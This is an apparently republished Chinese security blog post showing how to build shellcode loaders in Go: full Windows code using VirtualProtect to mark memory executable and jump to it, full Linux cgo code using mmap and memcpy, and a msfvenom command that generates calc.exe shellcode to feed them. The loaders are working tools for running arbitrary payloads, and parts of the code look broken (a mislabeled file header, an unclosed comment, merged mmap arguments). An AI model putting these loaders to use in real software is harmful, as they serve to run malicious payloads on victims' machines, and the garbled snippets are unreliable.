小玩意:golang加载执行shellcode
2019-06-22 01:06:47 Author: mp.weixin.qq.com(查看原文) 阅读量:332 收藏

阅读本文大概需要3分钟,置顶公众号哟。

shellcode执行

前言

今天看到一个比较好玩的东西,虽然原理很简单,但是使用golang来做还是挺新鲜,所以还是分享给大家。

第一节

PoC、Exp、Payload与Shellcode

首先说一下PoC、Exp、Payload与Shellcode这几个概念,这在渗透测试中非常常见。

PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

Exp,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。其实就是一段可以运行的二进制代码。

PoC是用来证明漏洞存在的,Exp是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了PoC,才有Exp。

Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的Exp,也就是说不存在通用的Exp。

Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。

今天要讲的就是使用golang 加载并执行shellcode,玩一些极客的感觉。

第二节

windows版shellcode加载器

shellcode既然是一段二进制代码,那加载器的功能则是将二进制写到内存中,并将这段内存设置为可执行,最后从头到尾执行这段代码即可。来看代码:

 1// shellcode_unix.go
2package linuxshellcode
3
4/*
5// shellcode_win.go
6package winshellcode
7
8import (
9    "syscall"
10    "unsafe"
11)
12
13var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
14
15func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
16    ret, _, _ := procVirtualProtect.Call(
17        uintptr(lpAddress),
18        uintptr(dwSize),
19        uintptr(flNewProtect),
20        uintptr(lpflOldProtect))
21    return ret > 0
22}
23
24func Run(sc []byte) {
25    // TODO need a Go safe fork
26    // Make a function ptr
27    f := func()
 {}
28
29    // Change permissions on f function ptr
30        var oldfperms uint32
31        if !VirtualProtect(unsafe.Pointer(*(**uintptr)
(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
32            panic("Call to VirtualProtect failed!")
33        }
34
35    // Override function ptr
36    **(**uintptr)
(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
37
38    // Change permissions on shellcode string data
39    var oldshellcodeperms uint32
40    if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
41        panic("Call to VirtualProtect failed!")
42    }
43
44    // Call the function ptr it
45    f()

46}

代码中主要是用了windows里kernel32.dll的VirtualProtect函数。在MSDN中的定义如下:

1BOOL VirtualProtect{ 
2LPVOID lpAddress, 
3DWORD dwsize, 
4DWORD flNewProtect, 
5PDWORD lpflOldProtect 
6}BOOL
  • lpAddress:内存起始地址 

  • dwsize:内存区域大小 

  • flNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40) 

  • lpflOldProtect:内存原始属性保存地址

在代码中,我们声明一个函数,将函数指向读入的shellcode字节数据那片内存,并将内存设置为可读可写可执行,最后调用函数就将shellcode运行起来了。

第三节

linux版shellcode加载器

 对于linux版shellcode加载器也是同样的原理,只是实现的方式不一样。使用C.call的方式进行调用,最本质的实现其实是在C语言中的call函数。

 1// shellcode_unix.go
2package linuxshellcode
3
4/*
5#include <stdio.h>
6#include <sys/mman.h>
7#include <string.h>
8#include <unistd.h>
9
10void call(char *shellcode, size_t length) {
11    if(fork()) {
12        return;
13    }
14    unsigned char *ptr;
15    ptr = (unsigned char *) mmap(0, length, \
16        PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -10);
17    if(ptr == MAP_FAILED) {
18        perror("mmap");
19        return;
20    }
21    memcpy(ptr, shellcode, length);
22    ( *(void(*) ()) ptr)();
23}
24*/
25import "C"
26import (
27    "unsafe"
28)
29
30func Run(sc []byte) {
31    C.call((*C.char)(unsafe.Pointer(&sc[0])), (C.size_t)(len(sc)))
32}

在call函数中,首先使用mmap生成一片可读可写可执行的匿名映射内存,然后将shellcode使用memcpy复制到这段内存中,并将这段内存的首地址强转为函数指针,直接当作函数运行即可。

mmap函数如下:

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

  • 参数addr:

    指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。

  • 参数length:

    代表将文件中多大的部分映射到内存。

  • 参数prot:

    映射区域的保护方式。可以为以下几种方式的组合:

    PROT_EXEC 映射区域可被执行

    PROT_READ 映射区域可被读取

    PROT_WRITE 映射区域可被写入

    PROT_NONE 映射区域不能存取

  • 参数flags:

    影响映射区域的各种特性。在调用mmap()时必须要指定MAP_SHARED 或MAP_PRIVATE。

    MAP_FIXED 如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此。

    MAP_SHARED对映射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享。

    MAP_PRIVATE 对映射区域的写入操作会产生一个映射文件的复制,即私人的“写入时复制”(copy on write)对此区域作的任何修改都不会写回原来的文件内容。

    MAP_ANONYMOUS建立匿名映射。此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享。

    MAP_DENYWRITE只允许对映射区域的写入操作,其他对文件直接写入的操作将会被拒绝。

    MAP_LOCKED 将映射区域锁定住,这表示该区域不会被置换(swap)。

  • 参数fd:

    要映射到内存中的文件描述符。如果使用匿名内存映射时,即flags中设置了MAP_ANONYMOUS,fd设为-1。

  • 参数offset:

    文件映射的偏移量,通常设置为0,代表从文件最前方开始对应,offset必须是分页大小的整数倍。

Tips: mmap详解

https://blog.csdn.net/notbaron/article/details/80019134

第四节

编译与load shellcode

 golang支持多平台编译,假如你使用win32编译的golang程序,那你的shellcode也需要是32位的,不然无法执行。那我们怎么生成shellcode呢?这就需要kali系统下的一个神器:msfvenom。咱们使用它生成一个弹出计算器的shellcode,执行如下命令:

msfvenom -p windows/exec CMD=calc.exe -f hex

将红框圈住的字符串当作参数:go_shellcode.exe 参数,运行后会弹出计算器。

第五节

最后

推荐阅读:

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

一个Python开源项目-哈勃沙箱源码剖析(下)

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【7】:领取 人工智能数学基础 教程 

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

知识星球已经70多人了,价格119元。由于精力有限,暂时不接收新会员,采用邀请制,满足下面两个中任意一个严苛条件,请在后台联系我:

1.推荐30个好友关注本公众号,将加入的30名好友名称在后台发给我。

2.2019年前三个月发的每篇文章均转发到朋友圈,每篇点赞数>10。


文章来源: https://mp.weixin.qq.com/s?src=11&timestamp=1561136803&ver=1682&signature=EoMOiJI6lYvquxr0tDto3b0cCLELKUKKjrd562vy-AnCjV4bmRfVjrGRsE7lOM9bIj*7SPMy8Wco9MiIQuNz-IPt1ccPjU7E96GWjJRiVhXjZVnFeqfsQ1uY3XUR9uGb&new=1
如有侵权请联系:admin#unsafe.sh